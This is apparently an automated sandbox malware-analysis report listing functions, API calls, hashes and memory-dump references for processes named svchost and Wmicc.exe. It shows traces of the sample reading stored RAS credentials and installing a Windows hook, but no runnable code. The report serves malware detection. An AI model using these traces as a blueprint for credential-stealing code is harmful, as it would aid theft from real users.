Opcode Fuzzy Hash: 5711a145befce18d27e3bf1a24f428d6747bb91b25bf34a8d6bd2b7e830d9892
Instruction Fuzzy Hash: A5F0FC305442205BD700EB7C9C86BEB7BE4EF44334F808B19F5B4922E1D274550447DA

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 33stringCOMMON

Download Yara Rule

APIs

WTSQuerySessionInformationA.WTSAPI32(00000000,000000FF,00000005,?,?), ref: 004144CC
??2@YAPAXI@Z.MSVCRT ref: 004144DB
lstrcpyA.KERNEL32(00000000,?,?), ref: 004144EB
WTSFreeMemory.WTSAPI32(?), ref: 004144F6

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@FreeInformationMemoryQuerySessionlstrcpy
String ID:
API String ID: 3962793053-0
Opcode ID: 563946204ce4c442c00993eab370beaade7cc8f3cb4791f151ea960a00337e8a
Instruction ID: 7eb14aa20bbad2e14369fe08578e589e0dded110bbe9c649e855e70abf80f7f8
Opcode Fuzzy Hash: 563946204ce4c442c00993eab370beaade7cc8f3cb4791f151ea960a00337e8a
Instruction Fuzzy Hash: E1F082B56042016BD700EB64AD46A9B76D89B84B55F44492DF948C2280F638DD48C7E6

Function 00405F50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,00000000,?,00000000,00000000,?,00405E34,00000000), ref: 00405F9F
VirtualProtect.KERNEL32(?,?,00000018,00000000,00000000,?,00000000,00000000,?,00405E34,00000000), ref: 00405FE9

Strings

4^@, xrefs: 00405F51

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID: 4^@
API String ID: 2581862158-2395448596
Opcode ID: b73043826ce71628e0c51f519c47902219fe4e0291ef5980b134893cc638e5d7
Instruction ID: 6429b9517663964357573549267a97f25535bfc80823163a0b9fa24c02d8c962
Opcode Fuzzy Hash: b73043826ce71628e0c51f519c47902219fe4e0291ef5980b134893cc638e5d7
Instruction Fuzzy Hash: 0E212B716006038FD718DF04C894E7BB3A6EB84304B15416DE902AB385E738FD11CFA4

Function 00401100 Relevance: 5.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,?,00401A1F,?,00000004,00000000,00000004,?,?,?,?,?), ref: 0040110E
LeaveCriticalSection.KERNEL32(?,?,?,?,00401A1F,?,00000004,00000000,00000004,?,?,?,?,?), ref: 00401124
memmove.MSVCRT ref: 00401175
LeaveCriticalSection.KERNEL32(?,00000000,?,?,?,00401A1F,?,00000004,00000000,00000004,?,?,?,?,?), ref: 0040119A

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CriticalSection$Leave$Entermemmove
String ID:
API String ID: 72348100-0
Opcode ID: 03ad502076346c6c09e339bf152c90d824d4cbcd13b4ee227504e8c4a195b9bc
Instruction ID: 398fc85236aedf1fb118fae9db903bd546489e01de1a48f91f2aaedac599479a
Opcode Fuzzy Hash: 03ad502076346c6c09e339bf152c90d824d4cbcd13b4ee227504e8c4a195b9bc
Instruction Fuzzy Hash: 8811BF327012144BCB08BF75AC8546FB798EF48350704857FF902EB392EB78AD0886D8

Function 00405120 Relevance: 5.0, APIs: 4, Instructions: 32stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,?,?,004051B6,?,?,?,L$_RasDefaultCredentials#0), ref: 0040512E
malloc.MSVCRT ref: 00405146
lstrlenA.KERNEL32(?,00000000,4C8D0824,L$_RasDefaultCredentials#0,?,?,?,?,?,?,?,?,00405411,?), ref: 0040515A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,00405411,?), ref: 00405162

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$ByteCharMultiWidemalloc
String ID:
API String ID: 3822420913-0
Opcode ID: 4395c9f89f65d261cf8874a30d21e750b6e6ffea3bd9e53fac4393be1b234f34
Instruction ID: 6c302458b20b56ae6a3e886f1bc679b10a215011130fc1896e5525abfea3b966
Opcode Fuzzy Hash: 4395c9f89f65d261cf8874a30d21e750b6e6ffea3bd9e53fac4393be1b234f34
Instruction Fuzzy Hash: AFF065721842016BF2209B65DC87EBBB3BCEF85B50F04842EF595D3280D768A805C77A

Function 00405CF0 Relevance: 5.0, APIs: 4, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,?), ref: 00405D00
HeapReAlloc.KERNEL32(00000000), ref: 00405D07
GetProcessHeap.KERNEL32(00000000,?), ref: 00405D15
HeapAlloc.KERNEL32(00000000), ref: 00405D1C

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 45472ee10746466640046a57415992a82ec3bcf8cc99e98f553a2f88bee92fcc
Instruction ID: d78fb7923ccf8568bd6a30842e5185310babbdb1fc0a7511da0420bca314d79d
Opcode Fuzzy Hash: 45472ee10746466640046a57415992a82ec3bcf8cc99e98f553a2f88bee92fcc
Instruction Fuzzy Hash: 83D04C756C4201BBEE109BA0DD9DB6B7BACEB84751F10D418F28986191C674D800CF65

Analysis Process: Wmicc.exePID: 15416, Parent PID: 7432COMMON

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1417
Total number of Limit Nodes:	40

Executed Functions

Function 0041B8EE Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00575AE8,00000000,?,?,?,0041BC89,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB,?,00000000), ref: 0041B8FD
GlobalAlloc.KERNELBASE(00002002,?,?,?,?,?,0041BC89,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB,?,00000000), ref: 0041B952
GlobalHandle.KERNEL32(?), ref: 0041B95B
GlobalUnlock.KERNEL32(00000000,?,?,?,?,0041BC89,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB,?,00000000), ref: 0041B964
GlobalReAlloc.KERNEL32(00000000,?,00002002), ref: 0041B976
GlobalHandle.KERNEL32(?), ref: 0041B98D
GlobalLock.KERNEL32(00000000,?,?,?,?,0041BC89,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB,?,00000000), ref: 0041B994
LeaveCriticalSection.KERNEL32(0040C15C,?,?,?,?,0041BC89,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB,?,00000000), ref: 0041B99A
GlobalLock.KERNEL32(00000000,?,?,?,?,0041BC89,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB,?,00000000), ref: 0041B9A9
LeaveCriticalSection.KERNEL32(?), ref: 0041B9F2

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: 75a019e5bb63d4a0c41767ebad71a07a05c5fefc3f55f91376461a0e91e2aab3
Instruction ID: e3ea870b0bb46ce406018baec85bc05872e363a8768c867c3485aeb9740a6bf6
Opcode Fuzzy Hash: 75a019e5bb63d4a0c41767ebad71a07a05c5fefc3f55f91376461a0e91e2aab3
Instruction Fuzzy Hash: 0631E1B52003059FD7248F2ADC89AABB7E8FF44301B00892EF9A2C3761E775E8458B54

Function 004193F8 Relevance: 9.0, APIs: 6, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 00419405
GetSystemMetrics.USER32(0000000C), ref: 0041940C
GetDC.USER32(00000000), ref: 00419425
GetDeviceCaps.GDI32(00000000,00000058), ref: 00419436
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041943E
ReleaseDC.USER32(00000000,00000000), ref: 00419446

Part of subcall function 0041C6DA: GetSystemMetrics.USER32(00000002), ref: 0041C6EC
Part of subcall function 0041C6DA: GetSystemMetrics.USER32(00000003), ref: 0041C6F6

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: MetricsSystem$CapsDevice$CallbackDispatcherReleaseUser
String ID:
API String ID: 1031845853-0
Opcode ID: bb8c58f2ae120a97fc5d51e7ade2fff6b6389434221918f3b1eb545fe03ccf2c
Instruction ID: 242d23dba608a4b21ca4a99505bf2815f913db0b648e9522fe093d51083d9603
Opcode Fuzzy Hash: bb8c58f2ae120a97fc5d51e7ade2fff6b6389434221918f3b1eb545fe03ccf2c
Instruction Fuzzy Hash: 11F096345807049EE3206B729C89F5777A4EF81751F00453EF90147290CAB498418F65

Function 0041B897 Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNELBASE(00000000,?,?,0041BDAB,00000000,00000001), ref: 0041B8A3
GlobalHandle.KERNEL32(?), ref: 0041B8CB
GlobalUnlock.KERNEL32(00000000,?,?,0041BDAB,00000000,00000001), ref: 0041B8D4
GlobalFree.KERNEL32(00000000), ref: 0041B8DB
DeleteCriticalSection.KERNEL32(?,?,?,0041BDAB,00000000,00000001), ref: 0041B8E5

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Global$Free$CriticalDeleteHandleSectionUnlock
String ID:
API String ID: 2159622880-0
Opcode ID: d54af59fe7edbd23c3339087f880d7a0dead93e531a8d778e42ab1aa3ad5e891
Instruction ID: 03a0228539d96a30fc336dd29c65c3cfbf71d0013dcb6032b772d7b994ed8510
Opcode Fuzzy Hash: d54af59fe7edbd23c3339087f880d7a0dead93e531a8d778e42ab1aa3ad5e891
Instruction Fuzzy Hash: A8F054396001005BD6216F3AEC4CAEB77ACEF84B11719456AFC15D3361CB78DC428AA9

Function 0041C6BA Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,?,?,0041C6B5), ref: 0041C731
GetProcessVersion.KERNELBASE(00000000,?,?,?,0041C6B5), ref: 0041C76E
LoadCursorA.USER32(00000000,00007F02), ref: 0041C79C
LoadCursorA.USER32(00000000,00007F00), ref: 0041C7A7

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CursorLoadVersion$Process
String ID:
API String ID: 2246821583-0
Opcode ID: db3ac5d763e7ec4233b41fb673c80b02433feb30483cbd3d7b1aaeda534031d0
Instruction ID: 513eb9db0bc028ac74120d4b18a32103345cf379caee25d4c0c1cd060d0807c4
Opcode Fuzzy Hash: db3ac5d763e7ec4233b41fb673c80b02433feb30483cbd3d7b1aaeda534031d0
Instruction Fuzzy Hash: 45113AB1A407508FD7289F3A989856ABBE5FB487057404D3FE18BC6B90D7B8E4408F54

Function 004158FD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00415910
SetWindowsHookExA.USER32(000000FF,V3d,00000000,00000000), ref: 00415920

Part of subcall function 0041BCEA: __EH_prolog.LIBCMT ref: 0041BCEF

Strings

V3d, xrefs: 00415919

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CurrentH_prologHookThreadWindows
String ID: V3d
API String ID: 2183259885-4155697593
Opcode ID: 28c19d249dffe47b5b2b2826c1e3c5521fb045271082ac8ab967ef4d5e4a35cc
Instruction ID: fe62f836bf7a51cf377c8d067899adf1101b3f1d777fef05777456087bbbf317
Opcode Fuzzy Hash: 28c19d249dffe47b5b2b2826c1e3c5521fb045271082ac8ab967ef4d5e4a35cc
Instruction Fuzzy Hash: 7DF0A071950610DBD7242BB2BD1ABCA2F90EB45724F01CA6FF612561D2DB6C48C087EE

Function 0040D6D1 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0040D6BC,?,00000000,00000000,0040C165,00000000,00000000), ref: 0040D6E6
TerminateProcess.KERNEL32(00000000,?,0040D6BC,?,00000000,00000000,0040C165,00000000,00000000), ref: 0040D6ED
ExitProcess.KERNEL32 ref: 0040D76E

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: f14bbd5f6451fcae235ed4dab434e6a697df8bd8cc55150df9bb1b977baa9d95
Instruction ID: 162838fe703e9a80dd8dfaca6c4459fa79d5063fbae68722b77371c7fb054f11
Opcode Fuzzy Hash: f14bbd5f6451fcae235ed4dab434e6a697df8bd8cc55150df9bb1b977baa9d95
Instruction Fuzzy Hash: 8E012B32A04301AEE7106FA5FC84A5E77A5EB90310B50403FF944631D0C73858CCEB1D

Function 0041B683 Relevance: 3.1, APIs: 2, Instructions: 51
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0041B688
OleInitialize.OLE32(00000000), ref: 0041B6AD

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: H_prologInitialize
String ID:
API String ID: 773696453-0
Opcode ID: d486f7c46e45b27975fcdc667f06f57b2c3109028c2fd141e0d2e653d8a5f5eb
Instruction ID: 5973a5ec9fd42a26cd0d012c354448f86dd8db290acfe39df2e510f4fcfad701
Opcode Fuzzy Hash: d486f7c46e45b27975fcdc667f06f57b2c3109028c2fd141e0d2e653d8a5f5eb
Instruction Fuzzy Hash: 9901C4B0901B40DAC714BFB688866DE77A0EF04318F104A2FE166D72D2CB7C89C18699

Function 0041C885 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000000,00000000,0041A4EA,00000000,00000000,00000000,00000000,?,00000000,?,004152CB,00000000,00000000,00000000,00000000,0040C15C), ref: 0041C88E
SetErrorMode.KERNELBASE(00000000,?,00000000,?,004152CB,00000000,00000000,00000000,00000000,0040C15C,00000000), ref: 0041C895

Part of subcall function 0041C8E8: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0041C919
Part of subcall function 0041C8E8: lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0041C9BA
Part of subcall function 0041C8E8: lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0041C9E7

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: ErrorMode$FileModuleNamelstrcatlstrcpy
String ID:
API String ID: 3389432936-0
Opcode ID: 82d02338219412ade8708b2ba1d38f5f124eb107497ff34900e73b8bc261539f
Instruction ID: fa85e6e69ead46d5b42d688402ff8c3a1e18408aa658daefd324a4d81e2717f3
Opcode Fuzzy Hash: 82d02338219412ade8708b2ba1d38f5f124eb107497ff34900e73b8bc261539f
Instruction Fuzzy Hash: DEF04FB4A947149FC714FF65D884A8A7BE4AF48710F05845FF4448B3A2CB78D880CB99

Function 0040F1BE Relevance: 3.0, APIs: 2, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0040C0DA,00000001), ref: 0040F1CF

Part of subcall function 0040F076: GetVersionExA.KERNEL32 ref: 0040F095

HeapDestroy.KERNEL32 ref: 0040F20E

Part of subcall function 004101C5: HeapAlloc.KERNEL32(00000000,00000140,0040F1F7,000003F8), ref: 004101D2

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 5170476684f7907ae311ae140fa03af316a570b8f4cf67573c1f41e45798897e
Instruction ID: b31ffa82570e04baa7ced75c20201efa2b26134438bf95e3fb7f5c1fa3b43b22
Opcode Fuzzy Hash: 5170476684f7907ae311ae140fa03af316a570b8f4cf67573c1f41e45798897e
Instruction Fuzzy Hash: F1F0A0386803019DDB306B717C057762695ABA0341F10447BF809E81E1EBFA88C8A61E

Function 0041B720 Relevance: 3.0, APIs: 2, Instructions: 26
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoFreeUnusedLibraries.OLE32 ref: 0041B768
OleUninitialize.OLE32 ref: 0041B76E

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: FreeLibrariesUninitializeUnused
String ID:
API String ID: 3019134093-0
Opcode ID: 9d81dccdd815915cbb29e99bd358f7958e02d8391507b049b00e194f2b9cd4ee
Instruction ID: f208c9bc3351bed4c5fe45b3ae0ea9de059c2f6bc0af29cfadbcf8b0e2408f83
Opcode Fuzzy Hash: 9d81dccdd815915cbb29e99bd358f7958e02d8391507b049b00e194f2b9cd4ee
Instruction Fuzzy Hash: BCF082355007108FD721BB61C4497EAB3A0DF4070AF05846EE5954A191C77848C0CAEE

Function 0040C396 Relevance: 1.6, APIs: 1, Instructions: 80
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 0040C47D

